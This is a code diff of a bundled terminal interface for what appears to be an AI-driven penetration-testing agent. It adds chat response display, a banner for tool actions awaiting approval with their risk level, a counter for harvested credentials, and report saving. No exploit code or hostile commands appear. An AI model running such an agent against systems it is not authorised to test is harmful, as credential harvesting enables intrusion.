@@ -2905,15 +4532,17 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2905
4532
|
startTimer();
|
|
2906
4533
|
setCurrentStatus("Thinking...");
|
|
2907
4534
|
try {
|
|
2908
|
-
await agent.
|
|
2909
|
-
|
|
4535
|
+
const response = await agent.chat(trimmed);
|
|
4536
|
+
if (response) {
|
|
4537
|
+
addMessage(MESSAGE_TYPE.ASSISTANT, response);
|
|
4538
|
+
}
|
|
2910
4539
|
} catch (e) {
|
|
2911
4540
|
addMessage(MESSAGE_TYPE.ERROR, e instanceof Error ? e.message : String(e));
|
|
2912
4541
|
}
|
|
2913
4542
|
stopTimer();
|
|
2914
4543
|
setIsProcessing(false);
|
|
2915
4544
|
setCurrentStatus("");
|
|
2916
|
-
}, [agent, isProcessing, addMessage, exit, startTimer, stopTimer]);
|
|
4545
|
+
}, [agent, isProcessing, pendingApproval, addMessage, exit, startTimer, stopTimer, sessionManager2, approvalManager2]);
|
|
2917
4546
|
useInput((input2, key) => {
|
|
2918
4547
|
if (key.ctrl && input2 === "c") {
|
|
2919
4548
|
if (isProcessing) {
|
|
@@ -2954,6 +4583,13 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2954
4583
|
] })
|
|
2955
4584
|
] }) }, msg.id);
|
|
2956
4585
|
} }) }),
|
|
4586
|
+
pendingApproval && /* @__PURE__ */ jsx(Box, { marginBottom: 1, children: /* @__PURE__ */ jsxs(Text, { color: THEME.status.error, bold: true, children: [
|
|
4587
|
+
"\u26A0\uFE0F Awaiting approval for ",
|
|
4588
|
+
pendingApproval.toolName,
|
|
4589
|
+
" (",
|
|
4590
|
+
pendingApproval.riskLevel,
|
|
4591
|
+
")"
|
|
4592
|
+
] }) }),
|
|
2957
4593
|
isProcessing ? /* @__PURE__ */ jsxs(Box, { children: [
|
|
2958
4594
|
/* @__PURE__ */ jsx(Text, { color: THEME.status.running, children: /* @__PURE__ */ jsx(Spinner, { type: "dots" }) }),
|
|
2959
4595
|
/* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
|
|
@@ -2983,6 +4619,8 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2983
4619
|
" \u2502",
|
|
2984
4620
|
state.findings.length,
|
|
2985
4621
|
" findings \u2502",
|
|
4622
|
+
state.credentials.length,
|
|
4623
|
+
" creds \u2502",
|
|
2986
4624
|
state.currentPhase !== AGENT_STATUS.IDLE && ` ${state.currentPhase} \u2502`
|
|
2987
4625
|
] }),
|
|
2988
4626
|
/* @__PURE__ */ jsxs(Text, { dimColor: true, children: [
|
|
@@ -3052,8 +4690,8 @@ program.command("run <objective>").alias("r").description("Run a single objectiv
|
|
|
3052
4690
|
const summary = agent.getSummary();
|
|
3053
4691
|
console.log(JSON.stringify(summary, null, 2));
|
|
3054
4692
|
if (options.output) {
|
|
3055
|
-
const
|
|
3056
|
-
await
|
|
4693
|
+
const fs4 = await import("fs/promises");
|
|
4694
|
+
await fs4.writeFile(options.output, JSON.stringify(summary, null, 2));
|
|
3057
4695
|
console.log(chalk.hex(THEME.text.accent)(`
|
|
3058
4696
|
[+] Report saved to: ${options.output}`));
|
|
3059
4697
|
}
|